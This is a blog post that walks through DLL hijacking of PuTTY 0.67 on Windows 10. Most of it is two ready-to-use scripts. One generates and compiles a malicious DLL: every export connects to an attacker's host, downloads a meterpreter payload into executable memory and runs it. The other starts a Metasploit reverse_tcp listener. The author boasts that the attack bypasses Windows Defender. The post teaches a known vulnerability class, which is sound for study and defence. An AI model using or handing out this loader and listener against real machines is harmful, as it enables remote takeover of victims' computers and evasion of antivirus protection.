Understanding how DLL Hijacking works

It is vital to understand how these vulnerabilities in fact work (DLL Hijacking from valid Windows PE32 executables) So we will prepare a real world scenario and will use an outdated piece of software for this demonstration and run it on a fully patched Windows 10 x86_64 with up2date Windows Defender.

  • Windows 10 x86_64 –  August 30, 2018—KB4346783 (OS Build 17134.254)
  • Windows Defender – Definitions 1.275.948.0 (September 8 2018)
  • Putty 32 bit 0.67 – Vulnerable to CVE-2016-6167 ( Downloadable here https://www.chiark.greenend.org.uk/~sgtatham/putty/releases/0.67.html)
  • Metasploit Framework (metasploit v5.0.0-dev-741bbefae8) running on Linux Mint 19
  • Linux x86_64 (I run Mint 19)
  • dos2unix converter
  • Mingw32 properly installed on Linux x86_64

Also for the analysis of the DLL vulnerabilities we will need the following tools to be executed on Windows 10

So once we have all this lets download Putty 0.67 32bit, procmon.exe and dllexp to the Windows 10 environment (I run it inside a VirtualBox guest)

Lets first prepare some filter rules for procmon.exe as the output gets to be a little heavy and we are only interested in the putty.exe process anyway.  So here is the vulnerable output from the procmon

What we get is a list of Dlls that are obviously being looked for in a wrong place, in this case the user’s dekstop (which is in fact the Dll hijacking scenario now) So imagine we could place a specially crafted dll in this place and re-run vulnerable putty.exe. It would load the Dll right ? Well its not that easy, because Dll need to have a valid entry point (function) called prior execution. So when putty.exe looks for one of the shared libraries it needs, it will call a function from within and use it. So for our exploit to work we will need to know the name of the entry point as well.

Lets find out all the entry points from the valid Dlls that are listed above. We will use the Nirsoft tool called dllxp. We will use the TextInputFramework.dll as an example. Lets load it in dllxp as follows:

And once opened copy paste the Entry point list to a text file that we shall save under the same Dll name for convenience (txt extension) ((which would be later fed to a custom metasploit script)

So now we have a list of all Entry Points, but which one is the right one to spoof with the Dll exploit ? We need to transfer this text file back to our attacker machine from which we will prepare and compile our Dll to be used in the attack. First of all convert the DOS endlines to UNIX format via dos2unix command and place the text file with the entry points to a location from which you will be executing the next script

I have written a following script that helps in this case. What it does it produces a meterpreter reverse loader function call with each of the above entry points, this kinda brute-forcing the vulnerable Dll function when putty.exe calls it.  Below is the code that I have placed inside my meteasploit root directory (does not have to be there of course)

echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Dll-EntryPoint Generator astr0 " 
echo "****************************************************************"
echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number (Choose something over TCP 1000) : '
read port
echo -en "File with dll-entries from dllexp binary (make sure you did fromdos on it) /path/to/file :"
read file
echo -en "DLL filename : " 
rm -f final-temp.c temp.c custom-temp.c 
read dllfilename

rm -f custom-temp.c
rm -f temp.c

# Add any DLL overrides here (functions that do not compile)
# Temporary fix for the TextInputFramework.dll errors 
sed -i '/DllCanUnloadNow/d' $file 
sed -i '/DllGetClassObject/d' $file

echo '#include <stdio.h>'> temp.c
echo '#include <stdlib.h>' >> temp.c
echo '#include <winsock2.h>' >> temp.c
echo '#include <windows.h>' >> temp.c
echo -n 'unsigned char server[]="' >> temp.c
echo -n $ip >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo -n 'unsigned char serverp[]="' >> temp.c
echo -n $port >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo 'void winsock_init() {' >> temp.c
echo ' WSADATA wsaData;' >> temp.c
echo ' WORD wVersionRequested;' >> temp.c
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c
echo ' printf("bad\n"); '>> temp.c
echo ' WSACleanup(); '>> temp.c
echo ' exit(1);'>> temp.c
echo ' }' >> temp.c
echo ' }' >> temp.c
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c
echo ' printf("r %s\n", error);'>> temp.c
echo ' closesocket(my_socket);'>> temp.c
echo ' WSACleanup();'>> temp.c
echo ' exit(1);' >> temp.c
echo ' }' >> temp.c
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c
echo ' int tret = 0;'>> temp.c
echo ' int nret = 0;'>>temp.c
echo ' void * startb = buffer;'>> temp.c
echo ' while (tret < len) {'>>temp.c
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
echo ' startb += nret;'>> temp.c
echo ' tret += nret;'>>temp.c
echo ' if (nret == SOCKET_ERROR)'>> temp.c
echo ' punt(my_socket, "no data");'>> temp.c
echo ' }'>>temp.c
echo ' return tret;'>> temp.c
echo '}' >> temp.c
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
echo ' struct hostent * target;' >> temp.c
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c
echo ' punt(my_socket, ".");'>>temp.c
echo ' target = gethostbyname(targetip);'>>temp.c
echo ' if (target == NULL)'>>temp.c
echo ' punt(my_socket, "..");'>>temp.c
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
echo ' sock.sin_family = AF_INET;'>> temp.c
echo ' sock.sin_port = htons(port);'>>temp.c
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
echo ' punt(my_socket, "...");'>>temp.c
echo ' return my_socket;'>>temp.c
echo ' }'>> temp.c

for i in `cat $file` ; do 
echo -n 'int ' >> custom-temp.c 
echo -n $i >> custom-temp.c
echo '(int argc, char * argv[]) {' >> custom-temp.c
echo ' FreeConsole();'>> custom-temp.c
echo ' ULONG32 size;'>> custom-temp.c
echo ' char * buffer;'>> custom-temp.c
echo ' void (*function)();'>> custom-temp.c
echo ' winsock_init();'>> custom-temp.c
echo ' SOCKET my_socket = wsconnect(server, atoi(serverp));'>> custom-temp.c
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>> custom-temp.c
echo ' if (count != 4 || size <= 0)'>> custom-temp.c
echo ' punt(my_socket, "error lenght\n");'>> custom-temp.c
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>> custom-temp.c
echo ' if (buffer == NULL)'>> custom-temp.c
echo ' punt(my_socket, "error in buf\n");'>> custom-temp.c
echo ' buffer[0] = 0xBF;'>> custom-temp.c
echo ' memcpy(buffer + 1, &my_socket, 4);'>> custom-temp.c
echo ' count = recv_all(my_socket, buffer + 5, size);'>> custom-temp.c
echo ' function = (void (*)())buffer;'>> custom-temp.c
echo ' function();'>> custom-temp.c
echo ' return 0;'>> custom-temp.c
echo '}' >> custom-temp.c

cat temp.c custom-temp.c > final-temp.c

echo 'Compiling C code to Dll ..'
#x86_64-w64-mingw32-gcc final-temp.c -o payload.dll -lws2_32 -shared
i686-w64-mingw32-gcc-7.3-win32 final-temp.c -o payload.dll -lws2_32 -shared
strip payload.dll
echo 'Renaming to' $dllfilename
mv payload.dll $dllfilename 
ls -la $dllfilename

The script will produce a Dll filename which needs to have the same name as the one we are going to spoof. In our case we call it TextInputFramework.dll

Next is a simple Listener script for the Metasploit framework to make things easier (place it in the metasploit-framework root dir)

echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " Metasploit custom listener for DLL exploit "
echo "***************************************************************"
echo -e "What IP are we gonna listen to ? \c"
read host
echo -e "What Port Number are we gonna listen to? : \c"
read port

echo "Starting the meterpreter listener.."
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp ; set LHOST ' > run.listener.sh

echo -n $host >> run.listener.sh 
echo -n '; set LPORT ' >> run.listener.sh 
echo -n $port >> run.listener.sh

# Set the runtime options for autorun 
echo -n '; run"' >> run.listener.sh 
chmod +x run.listener.sh 

So now we should have everything ready for the attack demonstration. Load the above listener and upload the TextInputFramework.dll to the Win10 environment and place it in a directory where the vulnerable Putty.exe is. Then just execute Putty.exe and a meterpreter shell should pop up on your attacker box. Pretty neat hey ? We have bypassed the latest MS AV as well.

Video demonstration below




About astr0baby

Please run Adblock or similar... we have been told to do so since Carl Sagan wrote the Contact .
This entry was posted in Uncategorized. Bookmark the permalink.

6 Responses to Understanding how DLL Hijacking works

  1. Pingback: Understanding how DLL Hijacking works - Secure Signal NYC

  2. Pingback: 腾讯玄武实验室安全动态推送(Tencent Xuanwu Lab Security Daily News) - 2018/09/10

  3. Pingback: Weekly IT Security News Bulletin #29 | Ptrace Security GmbH

  4. Pingback: DLL劫持漏洞与思考 |

  5. Pingback: IT Security News Bulletin #33 | Ptrace Security GmbH

  6. Pingback: IT Security News Bulletin #29 | Ptrace Security GmbH

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.